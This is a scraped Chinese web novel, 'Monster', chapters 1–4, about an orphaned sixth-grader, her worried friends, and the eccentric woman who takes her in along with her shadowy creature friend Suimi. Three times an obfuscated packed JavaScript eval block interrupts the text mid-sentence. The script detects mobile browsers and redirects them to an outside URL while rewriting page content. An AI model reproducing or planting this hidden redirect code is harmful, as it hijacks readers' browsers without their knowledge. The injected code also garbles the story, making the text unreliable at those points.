《Monster》 1. 怪物(1) 姜茜一周没回来上课了。 平静的一个早上,姜茜那天被班主任叫出去,她请假回家处理后事,周梓言她们就再也没有在学校里见过她了。 班主任陈大魔头说姜茜一口气请了半个月的假期。 姜茜离开那周周末,周梓言回家吃饭心不在焉,直到她收到姜茜的信——这家伙就是喜欢这种很有仪式感但是麻烦的事情。信很短,她写道,她要和岁弥到了新地方了。 岁弥是姜茜口中不存在的朋友,姜茜的朋友们谁也没见过它。 她焦灼不安,姜茜的电话打不通,发消息一直没人回。她干脆找老师问姜茜的地址,陈魔头说姜茜请的假到了自会回来的。 “姜茜个好孩子,她现在应该是要自己一个人待会儿。”陈魔头叹气,她手里还拿着这次的成绩单,姜茜又是前十名。 周梓言想起来自己跟家人爬完太行山回家,站在海拔三千多米的地方,她给姜茜打电话分享。姜茜给她讲自己老家的那座山,她也喜欢爬山,但姜茜的妈爸很少带她出去旅游。 她家里的第一件好东西永远都是弟弟的,只有岁弥会永远把她放在弟弟前面——但是岁弥没人知道是谁。 “我也会!”那个时候,周梓言信誓旦旦。 姜茜说她们会永远是最好的朋友。 出了陈魔头的办公室,周梓言垂头丧气,姜茜那天被班主任叫出去后,杳无音讯。 她回去告诉担心姜茜的所有人。 谁也没想到,一向最怕麻烦的赵熙率先提出来,“我们去偷陈魔头的地址簿吧,我记得她习惯放在桌子下面左边的抽屉里。”她表情不变,似乎这不是什么大事。 “我知道那个抽屉,不是经常锁着的吗,我们没有钥匙,我这周末回去学个撬锁?”周梓言说。 事实上,周梓言也只在电视剧里见过撬锁,拿个铁丝捣鼓来捣鼓去,她觉得很简单的样子。 “暴力破坏不就行了,出事儿我担着。” 赵熙敲她的脑袋。 周梓言思索道,“陈魔头周三下午要写报告,那个时候她会把钥匙插在锁孔上。赵熙你是班长,你来吸引她的注意力,我进去找地址簿。” 两个六年级小朋友就这样决定为了朋友披荆斩棘。 “被陈魔头发现,我这个班长估计要被摘掉乌纱帽了。”赵熙哀愁道。 “我们三剑客要讲道义嘛。”周梓言安慰她, 事情就这样定下来了。 赵熙先走进去以班级事务为请求要和班主任商量,陈魔头要她在办公室里说了算了,这和赵熙预想的一样,这个时候副班长跑进来说张伟和人打起来了! ——赵熙用三块钱的辣条收买了张伟。 张伟这个人陈魔头是知道的,留守儿童,总是邋里邋遢的。 老是喜欢惹是生非,于是陈魔头立刻怒气冲冲地走到教室。貌似打得还挺严重,张伟和人扭打在一起,脸上都是血,似乎都是鼻血。 周梓言麻溜地溜进办公室,顺利找到了地址册。 最后,周梓言和赵熙谎称肚子疼请了假出去,陈魔头看着她们,无可奈何地批了假。周梓言叫了自己小姨来接她们。 两人出了校门口肚子也不疼了,催着小姨带她们直奔姜茜的地址。 小姨生气道,“周梓言!你学坏了是不是,还说谎?你知不知道我今天请了假来接你的!” “世界上最好的小姨,求你了,求求你了,我给你做一个暑假的家务!我朋友都一周没来学校了,我真的很担心她。” 小姨只好勉为其难地答应了——绝不是因为一个暑假的家务。 姜茜没在地址簿上留具体地址,只有一个城中村的位置。周梓言和赵熙问了无数人,才知道哪一栋住着和她们一样校服的女生。 她们一家家敲门问,有三家没人回应。 直到有人受不了开门晦气道,说302前几天死了一家子人,只有一个女娃娃因为上学没事儿。 “那您知道她去哪里了吗?”周梓言迫不及待地问。 “这谁知道。” “去菜市场和饭馆,”赵熙当机立断,“只要在这里生活,那就一定会去这两个地方。” 几个人来不及解决午饭,拿着姜茜的照片满大街地找人问。 最后终于有个老太太说,“造孽噢。”她似乎是知道点什么。 最后小姨做主买下了她摊子上所有菜,才让老太太开口。 “也是造孽,女娃娃上学,她妈老汉儿带着弟弟去旅游啥的,最后一家三口都死了。造孽哦。就剩这个女娃子上学没去成。还好没去成。” 走的时候,小姨说菜就当送给老太太的。老太太有些不高兴,说钱都给了怎么能不要菜。最后每个人都提着一口袋菜才能离开。 “那我们去哪里找她?”周梓言叹气。 赵熙说,“我刚刚看到这附近有监控,先去找监控。” 她们顺藤摸瓜找到了姜茜妈爸家的时候,已经是晚上了。 小姨站在前面敲门,没人应。 难道不在家。 这个时候在小姨的敲门声当中,对门邻居开了门,是个阿姨,阿姨拿着锅铲道,“造孽喔,甭敲门了,对门子死绝了,你们找哪个?” 小姨甜腻腻道,“姐,我家小孩儿和这家小孩儿认识,担心朋友非要来看看,你知道还有个小孩儿现在在哪吗?” 阿姨想了一下道,“哦哦哦,你说对门子那个女娃子是吧,听说前几天葬礼上跟个女人走了。那个带走女娃子的女的留了个号码,说有事情找她。我也是担心女娃子,留了一下号码照片,我给你们吧。” 小姨接通了电话,对面的女人嗓门很大,听说是姜茜的朋友,大方地给了她的地址。 几经辗转,周梓言和赵熙终于找到了好朋友的新地址。 小姨打着哈欠给两人买了手抓饼,开着车去新地址,已经是也晚了,小城市灯火通明,小姨向周梓言强调,“别忘了一个暑假的家务——这一天折腾的。” 周梓言发誓,“小姨,我不会忘记的!” 赶到姜茜新地址的时候,两个小孩儿昏昏欲睡。 小姨叫醒两个小孩儿,“醒醒,到地方了。” 赵熙醒了,周梓言还在砸吧嘴,赵熙直接给了周梓言一巴掌。 “嗷!”周梓言一下就醒了,“赵熙!你就不能轻点吗!” “下次一定。” 三个人下了车,这里是郊区的一个破烂小区,车子停在马路边儿。 周梓言眼尖,瞧见了站在门口等她们的姜茜。 她使劲儿晃悠赵熙,“赵熙赵熙!是姜茜!” 赵熙冷静道,“我不是瞎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153940|196491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,你能不能冷静点。” 周梓言冷静不了,她像一颗炮弹一样冲过去抱住姜茜,“姜茜呀,你瘦了。” 姜茜的眼眶还有些红红的,吸了吸鼻子闷着声音,“我才没有呢。” 小姨走上去和女人打招呼,“你好。” 那是个不修边幅的女人,素面朝天,小姨上下打量了一下,微不可查地皱了皱眉——这人穿着洗得泛白的短袖,脚下还踩着大一号的拖鞋,剃了个板寸,手臂上都是纹身。 一看就是不良。 女人打了个哈欠,伸手和小姨握手,“你好你好。” 两只手只碰了一瞬,小姨就收回手了。 女人也没在意,对着周梓言和赵熙邀请道,“要不要上我家玩儿?这丫头最近可伤心了。” 姜茜面不改色地踩了女人一脚。 女人穿着拖鞋,裸露在外的脚趾遭到攻击,哀嚎道,“姜茜!老娘的脚趾!” 小姨对这个咋咋呼呼的女人更没好感了。 赵熙和周梓言都决定上去玩玩儿,和姜茜多说几句话,姜茜却支支吾吾道,“你们别上去了……我、我下周就会回学校上课了。” 周梓言没心没肺,还想多说什么,赵熙拉了拉她,说,“好啊好啊,这周没你督促,周梓言的成绩又下滑了。周测她的数学只有七十多分了。” 姜茜尖叫,“上周你还有八十多了!周梓言!你还想不想和我们去一个高中了!” 周梓言捂住耳朵,“赵熙你个告状精!都是失误失误!比如忘记带单位什么的……再说了我们才六年级,离中考还有四年呢!” 赵熙帮腔周梓言碎碎念周梓言。 说到最后,周梓言还是没忍住抱住姜茜哭,“呜呜呜呜……” 所有人都知道她在哭什么。 姜茜也没忍住,也跟着她哭了。 赵熙哄完这个哄那个。 最后,周梓言拉着小姨,要她和姜茜现任监护人交换一下联系方式。 小姨只好拿出手机,女人拿出的手机屏幕都碎成蜘蛛网了,小姨微微皱眉。 “我叫陶善理,你给个备注呗。”。 “周惠。”小姨客气道。 走的时候,周梓言对姜茜依依不舍道,“下周见姜茜。” 姜茜也依依不舍地挥手。 周惠拿出手机对赵熙道,“给你妈打个电话,今天就在我们家睡下吧,你和周梓言一个屋。” 赵熙点点头,熟练地拨通电话,“喂妈……嗯,今天肚子疼,周梓言小姨带我去看了医生……估计是吃坏了肚子……” “嗯……我知道了……这不是怕你和爸爸在加班吗。我今晚上就在周梓言家睡了,知道了,我不会给人家添麻烦的。” 随即赵熙就挂了电话。 周惠目瞪口呆道,“看多少次,都觉得你很适合谍战剧,脸色都不变啊小朋友。” “小意思小意思。”赵熙面不改色道。 周梓言一把抱住赵熙,“好耶,今晚上我们一起睡。” —— 朋友们离开后,姜茜擦了擦眼泪,对陶善理说,“我饿了。” 陶善理顺水推舟道,“好好好,回去给你煮醋汤面——那啥,那个玩意儿吃不吃啊?” 姜茜理直气壮道,“它有名字,它叫岁弥。岁弥当然要吃饭。” 2. 怪物(2) 陶善理每次回想起来她领回这个祖宗,都后悔不迭。 那是一个普通的午后,她收到了大学舍友的讣告,因为灵堂就在同城,于是她找人借了一身西装去参加葬礼。 听说是一家四口死了三个,舍友和丈夫带着小儿子去旅游出了车祸。都设灵堂了,双方家人才想起来学校里还有个小女孩儿,小女儿刚从学校喊回来。 他们的葬礼办得很简单,陶善理到的时候,来的人不多也不少,她穿着借来的黑色西装,一头板寸在人群里格格不入。 陶善理再强悍的心理素质,也不免些尴尬。她穿过人群,来到洗手间,打算先躲会儿。 她想着要不躲到葬礼结束算了。 “叔叔你好,你进错厕所了。” 陶善理看过去,那是一个看着只有九、十岁的小孩儿,长得很是乖巧,陶善理没忍住夹起声音道,“哎哟,谢谢宝贝,不过我是阿姨。” 小孩儿震惊地后退了一步,她穿着一件黑色的纱裙和黑色小皮鞋,踩着小皮鞋的“噔噔噔”声音跑远了。 陶善理做好心理建设后,总算从洗手间里出来,正巧碰见她的大学舍友——也是姜茜的妈妈的舍友。 “陶善理?”那人一愣,“你怎么来了……我还以为你不会来呢……毕竟,你大学那会儿一开始在宿舍和小丽最要好,结果后来和小丽闹得挺不愉快。” 小丽就是陶善理的舍友。 多年不见,舍友其实和大学那会儿差不太多,只是妆容更精致了,举手投足更稳重了。 她以前是个看偶像剧都会痛哭的人,如今在葬礼上只是微红了眼眶。 陶善理愣住,露出苦笑,“哎呀,都是什么时候的事儿了,到底怎么回事儿?人好端端的怎么就一家子都死了?” 舍友叹气,“也没有都走了——还有个小女儿,你瞧。叫姜茜,看着真乖。” 舍友指了一下,陶善理发现是刚刚洗手间认错她性别的小女孩儿,她静悄悄地蹲在角落,但周围大人的目光都若有若无地落在她身上。 “一滴眼泪都没掉——但是,”舍友叹气,“听说小丽和她老公是带着她弟弟出去旅游出的事,没带她。” 因为妈爸重男轻女,所以没去成旅游,没遇上车祸。 要是陶善理碰到这种事儿,也不知道自己该哭还是该笑。 说实话,陶善理真没办法视而不见姜茜——她和她妈小丽长得很像,不光长相,还有处境。 而姜茜的奶奶和姥明明都在,还不如不在。这两个老太太哭天喊地,一个骂儿媳妇扫把星,一个骂女婿扫把星,最后一致认定唯一活下来的姜茜是扫把星。 一时之间,灵堂乱哄哄的,两个老太太指着姜茜说她是怪物。 陶善理实在忍不下去了,她冲过去抱起姜茜,皱眉道,“行了行了,这还是是个孩子呢。” 老太太们指着陶善理的鼻子,“你又是谁,还管起我们家的事儿了。” 陶善理默不作声地脱下西装外套,露出遒劲的胳膊上的黑色纹身,再加上她的板寸,面部骨骼很立体,极有冲击力。老太太们有些怂了,一时之间哑了火。 最后,一直沉默的姥爷终于站了出来,“行了,老婆子你也少说两句。小……小姑娘,我家老婆子也是爱女心切。” 爷爷也说自家老太太不对。 “你谁啊?”老太太面前挡了个老头儿,竟然又大了胆子。 “小丽她朋友。”陶善理轻轻推了推老头儿。 老头儿和老太太同时哑了火。 陶善理才穿上西装,黑着脸坐在姜茜身前。 葬礼进行地很快,陶善理的舍友都走了,陶善理还守着姜茜。现在就剩下小孩儿的亲戚留着了,陶善理是唯一的外人,硬是靠着厚脸皮留下来了。 姜茜没了妈爸,死者双方的妈爸都不想带这个孩子回家。 痛苦后的姜茜姥姥面露难色,“我们家住了六口人了,住不下这么多人了。而且我还有个十几岁的孙子,带个小姑娘实在不方便啊,不然,亲家母……” 姜茜奶奶也推辞,“那不行啊,我儿媳妇最近身体不好,我儿子说这丫头……”她压低声音,“邪门得很,她有个小鬼!” 陶善理终于忍不住了,“行了啊,当着孩子面呢,说这些,都要点儿脸吧两位老太太。” 什么年代了,还搞封建迷信。 姜茜躲在陶善理的背后,眨巴眨巴眼睛看着周围和自己有血缘关系的亲人——没人想带她回家。 她的眼眶有点儿涩意,使劲儿眨眼睛给憋了回去。 葬礼结束是六点过,到底谁带姜茜回家,竟然吵到了九点钟——要是今天带姜茜回家了,就是默认了后面养着她。 谁也不想吃这个亏。 姜茜悄咪咪打了个哈欠,她肚子也饿了。 陶善理点了一根烟,故意熏这几人。 没人有意见。 两家人吵来吵去,竟然还是因为小丽和她老公同时说过姜茜“邪门”、“是个怪物”…… 陶善理抽完一根烟,抱起姜茜,“行了,我带回去了。” 结果,两家人又像炮仗一样炸了,“不行不行!你又不是我们家的人!孩子怎么能给你?” “孩子都困了,”陶善理掏出一张名片,“这是我电话和地址,有事儿打我电话。你们这样能吵到明天,孩子热乎饭都吃不上一口。” 姜茜那个时候还没变成小恶魔,她乖乖地抱紧陶善理。 陶善理凭借自己高大身材轻而易举地突破周围的桎梏,徒留背后一地鸡毛。 她带走了姜茜,荒诞得不可思议。 出了灵堂,陶善理走到面包车面前,姜茜忍不住道,“你是人贩子吗?”面包车太让人容易有遐想了。 “什么?”陶善理哈哈大笑,“我就是觉得面包车容易拉货。敢不敢跟我走!” 姜茜昂着头,“我不怕!我有岁弥!它会保护我。” 那个时候,陶善理还以为岁弥是小孩儿想象中的朋友,她不以为意地给小孩儿系好安全带,接着发车了,“坐稳了。” 陶善理的家中不止她一个人——还有她妈,姜茜以为陶善理带回一个陌生小孩儿,也许她的家人会反对。 陶善理住在一个老旧小区,面包车停在小区外的马路上,有个老太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153941|196491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太路过敲车窗,“喂喂喂,这边是收费的。” 陶善理摇下车窗,“姨,是我,就别收费了吧。” 瞧见陶善理,大姨挂上了笑容,“哎哟,是小陶啊,今儿这么晚才回来啊。” 陶善理停好车,“可不是——我妈着急喊我回去,再见了啊姨。” 大姨还在喊,“我儿媳妇下周要生了,叫你妈把那个药给我留点儿呗……” 陶善理抱着姜茜忙不迭地跑回家。 姜茜深呼吸,陶善理走近楼道就把姜茜放下来让她自己走,老旧小区是没有电梯的。姜茜数着楼层到了六楼。 陶善理掏出钥匙开了门。 门一开,屋里烟熏火燎的,姜茜没忍住咳嗽了几声。 陶善理生气道,“妈!你又烧你那个香了!” 陶善理走过去打开客厅的窗户,屋内的白雾才淡了一些。 屋内和姜茜想象得不一样,客厅没电视,里面摆满了佛像和发光的莲花灯。还有一个插满了燃香的坛子。 一个长相刻薄的老太太指着姜茜尖叫,“陶善理!哪儿来的小孩儿?拐卖小孩儿犯法!” 姜茜乖巧道,“奶奶好。” 陶善理脱下不舒服的西装外套,走近厨房,自然地对姜茜道,“我大学朋友的小孩儿——小不点儿,吃啥?” 姜茜腼腆道,“面条。谢谢阿姨。” 陶善理开始下面,接着对她妈讲今天发生的事情。 老太太对着姜茜和蔼道,“哎哟喂,可怜的娃子,就现在我们家住下吧,我虽然是个神婆,但我告诉你,什么神仙鬼怪都是封建迷信,怕死的老太太老头儿可信这个了。” 她搂着姜茜,拿出柚子叶在姜茜身上拍了拍,“什么小鬼,小鬼不近我们小孩儿的身哈……陶善理,小孩儿叫啥啊?” 陶善理下面的手一顿,“……我没问。” 老太太又是一阵尖叫,“还说不是你拐卖的!” 姜茜连忙道,“奶奶,我叫姜茜,生姜的姜,草字头下一个东西的西。” 她有些忸怩道,“那个,奶奶,我的……呃,算是小鬼你,它是我的好朋友。” 老太太一时间有些宕机,“什么好的小鬼?” 陶善理正在等水开,以为小孩儿说胡话,估计把什么小花小草当自己的朋友了,“没事儿啊,坏的也没事儿,阿姨一拳一个。” 说罢,陶善理把厨房角落的哑铃拿起来举了举。 “岁弥,你出来吧,”姜茜小声道,“我们到家啦。” 接着,从她黑色的纱裙中,冒出一团黏糊糊的黑色阴影,它礼貌道,“你们好。” 老太太颤抖着声音说,“陶善理,是你在说话吗?” “不是啊妈……” 陶善理话音刚落,老太太就翻着白眼倒下去了。 刚才还说一拳一个的陶善理反应迅速,一个箭步上前拎起老太太和姜茜就往外冲。 “啊啊啊啊啊有鬼啊啊啊啊……” 妈妈,真有鬼啊啊啊。 姜茜有些懵,突然之间人就出门了,在陶善理的叫声中,她默默道,“不是鬼……是岁弥……” 3. 怪物(3) 陶善理都往楼下跑了两层楼,才意识到姜茜在给她说,“不是鬼不是鬼,是岁弥。” “啊?”陶善理跑步的抖动把老太太晃醒了。 “死丫头,你扛着你老娘干啥!你老娘还没吃饭。”老太太似乎忘记了刚刚的“鬼”,狠狠拍了陶善理一巴掌。 “妈!屋里闹鬼了!”陶善理哆哆嗦嗦。 “你老娘就是个神婆,你怕啥!”老太太从陶善理的肩膀上下来,施施然就要回屋。 ……那刚刚昏过去的是谁。 陶善理委委屈屈地跟着老太太回屋。 姜茜牵着陶善理的手,安慰她,“不是鬼,阿姨,岁弥很乖的。” 老太太刚走进自己的屋,就看见一团黑乎乎的东西“坐”在沙发上,瞧见三人又回来了,“鬼”犹豫着开口,“那个,水烧开了。” 老太太白眼一翻,眼看着又要昏了,陶善理赶快掐老太太人中,“妈妈妈,你可是神婆!你别倒下去啊!我hold不住这只鬼啊啊……” 姜茜走到“鬼”面前,严肃道,“岁弥,你吓到奶奶和阿姨了,道歉。” “对不起。”那团黑乎乎的东西真的道歉了。 “啊,”老太太醒过来了,端起一家之主的架子,“不是鬼啊,那个姜茜,它叫啥来着?” “岁弥,岁岁年年的岁,弥留的弥。”岁弥礼貌道。 老太太的小心脏一抖,对门邻居听见隔壁动静,开门问道,“小陶,你们家搞啥呢?” “王大妈,没事儿,杀鸡呢。”陶善理心虚地把门关了。 老太太拍了一下陶善理一下,“去,水烧开了,先把面条子给小孩儿下好。” 陶善理迅速跑进厨房,老太太没好气地瞪了她一下,嘟囔,“小兔崽子,溜得倒挺快。” 姜茜和岁弥端端正正地在沙发上坐好,老太太从茶几下面拿出水果和饼干,给她们推过去,“小茜还有那个……什么岁弥,来、来吃水果。” 姜茜乖巧道,“谢谢奶奶。” 但姜茜没动手,老太太死死盯着岁弥,伸手拿了一个橘子剥皮。 “我叫岁弥,她叫姜茜,请问您叫什么?”岁弥紧紧靠着姜茜问。 老太太活了大半辈子,还没遇到过这么诡异的情况。她把橘子递给岁弥,岁弥伸出一根触手一样的黑影子,结结实实接过橘子,一分为二后递给姜茜。 姜茜就小口小口吃橘子。 “我叫陶翠莲,请问你是什么物种啊?”老太太直勾勾盯着岁弥吃东西,手上又剥橘子。 那小半个橘子就像是消失了一样,被岁弥扔进了自身的黑暗里。 岁弥叽里咕噜吞完橘子后说道,“奶奶,我也不知道。” 陶善理从厨房探出手,“老太太,还活着不?” 陶翠莲啐了她一口,“死丫头,煮你的面条去,记得打个荷包蛋。” “知道了!”陶善理缩回脑袋。 姜茜连忙说,“奶奶,我吃素面就好了,我喜欢吃素面。” 妈妈说面条便宜,鸡蛋贵,这是在别人家,她吃点便宜的就好了。 陶翠莲大手一挥,“不缺你一口吃的,素面多难吃。” 陶翠莲瞧着岁弥,和善道,“乖乖诶,你是可以就那么……藏在黑黢黢的地方吗?” 岁弥的触手像人脑袋一样点点“头”。 姜茜乖乖的不插话,陶翠莲或者岁弥递过来什么,她就吃什么,她好像知道陶翠莲对岁弥感兴趣,偶尔才插话一句和岁弥有关的,“我五岁的时候,岁弥就出现了,它只认我,是我最好的朋友,它连弟弟的话都不听。” 陶翠莲想起陶善理说的和这孩子有关的事儿,觉得姜茜受苦了,冲厨房吼道,“陶善理,煮个面怎么这么慢!” “……知道了,马上就好。” 面条端上来的时候,陶翠莲和岁弥相处和谐。 面条上铺着一个形状完美的荷包蛋,陶善理还洒了点葱花,姜茜愣住了,她低声道,“谢谢阿姨。” 随即姜茜小口小口吃了起来。 陶善理细细瞧老太太的表情,心道不好,这是老太太又要搞事情的表情。 “妈?” 陶翠莲伸手轻轻摸了摸岁弥,摸到一股凉凉的、芝麻糊一般的质感,听见女儿喊自己,漫不经心道,“叫魂啊你,干啥。” “你不怕鬼了?” “什么鬼,这是财神爷……客人,客人。”陶翠莲意识到自己说漏嘴了。 陶善理用筷子猛敲了一下桌面,“我就知道!你要干嘛!我给你说,这不是人……东西,你别有什么坏心眼子。” 说完后,陶善理感觉好像哪里不对。 “翅膀硬了是吧,”陶翠莲给了个眼刀过去,“你妈能有什么坏心眼子。” 此时,姜茜吃完荷包蛋下面的面条,错愕地发现下面还有一个荷包蛋。两个荷包蛋,这是她弟弟才会有的面条搭配。 瞧见姜茜顿住了,陶翠莲关心地问她,“咋,太难吃了?难吃咱就下馆子。” 上一次陶翠莲这么殷勤的还是家里开公司的远房亲戚。 陶善理盯着陶翠莲,觉得不对劲,手上一用力,把筷子捏断了。 “一块钱一双,现金转账都行。”陶翠莲对女儿说。 吃完饭,姜茜要去洗碗,陶翠莲又去指使陶善理洗碗。陶善理迅速洗完,倒要看看陶翠莲要搞什么幺蛾子。 洗完碗出来的陶善理眼睁睁看着陶翠莲掷骰子,口里还念念有词,“三个六三个六三个六……” 客厅里拉上了窗帘,只有一盏碎了一半的灯亮着,显得昏昏暗暗。 陶翠莲摇了半天,最后紧张兮兮地将骰子碗倒扣在茶几上,她慢慢掀开骰子碗,里面三枚骰子全是六点。 陶翠莲皱巴巴的脸上全是笑意,“哦哦呵呵呵呵,真成了!” 陶翠莲啥时候运气这么好了?陶善理定睛一看,才看清骰子碗下面影子在蠕动——哪里是影子,那是岁弥! 陶翠莲不会要靠岁弥出千吧?陶善理出了一头冷汗,上前拉住陶翠莲,“妈,妈你冷静,十赌九输啊!咱家可不能家破人亡啊。” 陶翠莲很纳闷,“谁给你说我要去赌博了。我是个神婆,靠算卦的——当然,偶尔卖一点点保健品。我就改改卦象而已,读书读傻了你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153942|196491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……哦。” “一根筋,没遗传到你老娘半分智商,” 不是动了赌博的心思就好,陶善理把心放回肚子里。 吃了晚饭,姜茜悄悄打了个哈欠,陶翠莲就拿出新牙刷让姜茜洗漱完赶紧去睡觉。 家里就两个房间,平时是陶翠莲和陶善理一人一间,姜茜来了自然是睡陶善理的卧室,陶翠莲就把陶善理赶去睡沙发。至于为什么陶翠莲不和陶善理一起睡,因为双方都嫌弃对方睡觉打呼噜。 姜茜很惶恐,她怯生生道,“我可以睡沙发,或者我可以和陶阿姨一起睡。” “得了,她呼噜声可重了。” 姜茜悄悄看了一下陶善理的房间,干净得过分,被子叠成了豆腐块的模样,墙上贴了淡蓝色的墙纸。 陶翠莲把洗漱干净的姜茜抱到床上,岁弥则自觉乖巧地躺在她的旁边。姜茜闻到了陶翠莲上淡淡的燃香味儿。 陶翠莲慈祥地看着她们——尤其是岁弥,“睡吧睡吧,陶善理身强力壮,就喜欢睡沙发。” 陶善理从善如流,“对,我就喜欢睡沙发。” 兵荒马乱的一天总算结束了,陶善理躺在沙发上睡得很沉,甚至于半夜起夜的时候,她在被子里赖了一会儿,实在憋得慌,才起身上厕所。 厕所在陶善理房间对面,陶善理习惯性轻手轻脚,她路过自己房间的时候,隐约听见了房间里传出若有若无的哭声。 房间里只有岁弥和姜茜。 陶善理假装没听见,上完厕所冲了后,再次出来,房间里已经一点儿动静都没有了。 清晨六点半,陶善理就被老娘叫醒了,“起来给老娘做早饭了,要是有客人找上门,就说我出门了,知道不?” 陶善理打着哈欠点头,接着陶翠莲低声道,“反正她妈她爸那边哦度不要她,要是可以,我们家就养了。正好,你也没结婚没孩子,老了她还能给你养老。多个她家里再添张嘴的事儿。” 这话如同石破天惊,陶善理一下子就清醒了,她自以为看清了老妈的算计,震惊地看向老妈,“妈,你不会是……觊觎人家那个小鬼吧?” 岁弥自己也说不清自己是什么东西,陶善理觉得那就是小鬼。 “说什么糊话,你老妈是那种人吗——反正就这么说定了,到时候人家家长打电话过来你斡旋一下,别让人真把孩子接走了。” “先不说人家有亲戚,咱现在的法律也不允许我一个单身女人领养一个非孤儿啊。”陶善理崩溃地看着亲妈。 陶翠莲拍了她一下,“诶,事在人为嘛,这事儿包在你老娘身上——你老娘今天为了你,可是准备去接一个大人物的单子。” 说完,陶翠莲就风风火火地出了门。 陶善理只好起来随便洗漱了一下,随即走近厨房,差点儿没被眼前的景象吓得脚下一滑。 ——岁弥系着围裙像一撮海草一样伫立在瓷砖上。 “早上好。”岁弥说。 “早……早上好。”陶善理后背发凉。 “奶奶说我可以帮你做早饭。”岁弥恭敬道。 陶翠莲!陶善理内心怒吼,你明明知道我怕鬼的! 4. 怪物(4) 姜茜起床的时候,陶善理已经用高压锅压好了稀饭。 岁弥还在一旁不停问她,“为什么要用这个锅,为什么几个人几碗水,不能多放一点吗?” 陶善理打开厨房角落的泡菜坛子,从里面掏出泡菜来,“打住,下次教你用电脑自个儿查可以吗?” 岁弥乖巧点头,“好的,谢谢您。” 上了餐桌陶善理愁着脸看着姜茜喝粥,她昨天就是情绪上头把小孩儿带回来了,但是也没有想像陶翠莲说的那样,把人留下来给自己养老,这不扯呢嘛。 姜茜抬头问她,“阿姨,你不吃吗?” 陶善理回神,“我想事情呢。” 吃完饭,姜茜要去洗碗,陶善理把老妈的早饭放在锅里,往沙发上一躺,真的让这个六年级小屁孩儿去洗碗了。 很可惜,老妈回来得很快,她完全没理自己女儿,她严肃地对姜茜说,“你以后想去你姥姥家,还是奶奶家,又或者,要不要来我们家?” 陶善理没想到老太太一向抠门,这次却决定得十分迅速,她不可置信道,“妈!你干嘛?” “你闭嘴,这事儿你说了不算,”陶翠莲催促陶善理,“你个无业游民,三十几岁还啃老娘,滚出去搬货去,我回来的时候,小卖部的赵老板还问我你答应了她搬货,怎么还不去搬货。” 陶善理从沙发上跳起来,“我给忘了!”小卖部搬货,她的零工之一。 陶善理出门前还千叮咛万嘱咐,“我的亲娘诶,你等我回来再说领养这事儿成不成?” 陶翠莲脱了脚底下的拖鞋扔了过去,“再不滚,老娘真要揍你了。” 见老妈发脾气了,陶善理急匆匆跑下楼了。 她走之后,陶翠莲转头和姜茜直视,握着姜茜的手,一老一小的手交叠,姜茜突然感觉到了一阵暖意。 陶翠莲语气轻松地扔下一个大雷,“我去查过你档案了,成绩很好,年年都是班级里的前十名,孩子,你是块读书的料。不过,宋丽和她老公住城中村,还能让你和弟弟一起上一样的私立小学,甚至让人觉得,宋丽把你和你弟弟看得一样重。” 宋丽是姜茜的妈妈大名。 姜茜咬紧嘴唇,这番话在姜茜的心里激起一片涟漪,陶翠莲继续碎碎念,“孩子,咱们这个小城市,最好的小学和初中只有那些私立学校,你很聪明——我真恨不得你是我的亲生孙女,但我女儿不争气,帅哥都拐不回一个。” 不争气的!她当年二十多岁就和陶善理的亲爸在一起了,她亲爸那个俊俏哦。 “我、我……”在陶翠莲仿佛洞悉一切的目光中,姜茜终于撑不住啜泣道,“我只让岁弥威胁了爸妈这个,我没威胁别的了!我也没杀人,呜呜呜……” “我根本不知道他们在我上学的时候出去旅游了,我当时上课被叫走的时候,我什么都不知道……”她泣不成声。 爸爸妈妈怕岁弥,姜茜便让岁弥威胁他们,让自己去读和弟弟一样的学校,已经是姜茜做过最坏的事情了。 陶翠莲温和道,“傻孩子,这算什么?岁弥是你的好朋友,它帮帮你怎么了,你做得很好——那你想留在我们家吗?奶奶可以保证,你可以继续上你现在的那个学校,陶善理要是对你不好,奶奶帮你揍她。” 姜茜早看出来陶翠莲对岁弥不一般,抽泣道,“你是想让岁弥帮你办事情吗?那你不要做太坏的事情可以吗?它其实没什么力气的。” 这是她能猜出来的陶翠莲的全部意图——陶翠莲昨天真的很在意岁弥,太明显了,她是傻子才看不出来她沾了岁弥的光。 但是出乎姜茜的意料,陶翠莲伸手抚摸她的脑袋,苍老的脸上露出一丝无奈,“奶奶确实有想你做的事情,但不是这个。” “我呢,希望你,在我死之后,帮我照顾照顾我那个不争气的女儿。陶善理养你小,你养陶善理老。她呢,总说不结婚不生小孩儿这话,但没小孩儿,养老怎么办?我又不可能一直陪在她身边。” 姜茜错愕地看着陶翠莲,陶翠莲的表情很诚恳,脸上的表情很慈祥。这就是来自……妈妈的爱吗?一时之间,姜茜有些羡慕陶善理。她也想有这样的家人。 